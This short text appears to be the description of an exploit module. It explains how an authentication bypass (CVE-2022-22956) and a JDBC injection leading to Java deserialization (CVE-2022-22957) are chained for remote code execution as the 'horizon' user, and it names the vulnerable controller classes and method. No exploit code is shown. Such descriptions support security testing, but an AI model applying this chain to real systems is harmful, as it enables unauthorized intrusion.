This module combines two vulnerabilities in order achieve remote code execution in the context of the
`horizon` user. The first vulnerability CVE-2022-22956 is an authentication bypass in
OAuth2TokenResourceController ACS which allows a remote, unauthenticated attacker to bypass the
authentication mechanism and execute any operation. The second vulnerability CVE-2022-22957 is a JDBC
injection RCE specifically in the DBConnectionCheckController class's dbCheck method which allows an attacker
to deserialize arbitrary Java objects which can allow remote code execution.
